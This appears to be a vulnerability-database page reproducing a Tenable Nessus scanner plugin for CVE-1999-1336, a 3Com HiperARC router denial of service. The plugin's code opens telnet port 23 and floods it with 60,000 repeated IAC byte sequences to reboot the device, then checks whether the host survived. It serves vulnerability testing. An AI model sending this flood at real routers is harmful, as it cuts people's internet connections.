5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
0.012 Low
EPSS
Percentile
85.1%
It was possible to reboot the remote host (likely a HyperARC router) by sending it a high volume of IACs.
An attacker may use this flaw to shut down your internet connection.
#
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(10108);
script_version("1.29");
script_cvs_date("Date: 2018/11/15 20:50:21");
script_cve_id("CVE-1999-1336");
script_name(english:"3Com HiPer Access Router Card (HiperARC) IAC Packet Flood DoS");
script_summary(english:"Crashes the remote host using the 'hyperbomb' attack");
script_set_attribute(attribute:"synopsis", value:"The remote host is vulnerable to a denial of service attack.");
script_set_attribute(attribute:"description", value:
"It was possible to reboot the remote host (likely a HyperARC router)
by sending it a high volume of IACs.
An attacker may use this flaw to shut down your internet connection.");
script_set_attribute(attribute:"see_also", value:"https://marc.info/?l=bugtraq&m=93492615408725&w=2");
script_set_attribute(attribute:"see_also", value:"https://marc.info/?l=bugtraq&m=93458364903256&w=2");
script_set_attribute(attribute:"solution", value:
"Add a telnet access list to your Hyperarc router. If the remote system
is not a Hyperarc router, then contact your vendor for a patch.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_set_attribute(attribute:"vuln_publication_date", value:"1999/08/13");
script_set_attribute(attribute:"plugin_publication_date", value:"1999/08/20");
script_set_attribute(attribute:"potential_vulnerability", value:"true");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_FLOOD);
script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");
script_family(english:"Denial of Service");
script_require_keys("Settings/ParanoidReport");
script_require_ports(23);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
if (report_paranoia < 2) audit(AUDIT_PARANOID);
start_denial();
port = 23;
if(get_port_state(port))
{
soc = open_sock_tcp(port);
if(soc)
{
data = raw_string(254, 36, 185);
for(i=0;i<60000;i=i+1)
{
send(socket:soc, data:data, length:3);
}
close(soc);
#
# wait
#
sleep(5);
alive = end_denial();
if(!alive){
set_kb_item(name:"Host/dead", value:TRUE);
security_warning(0);
}
}
}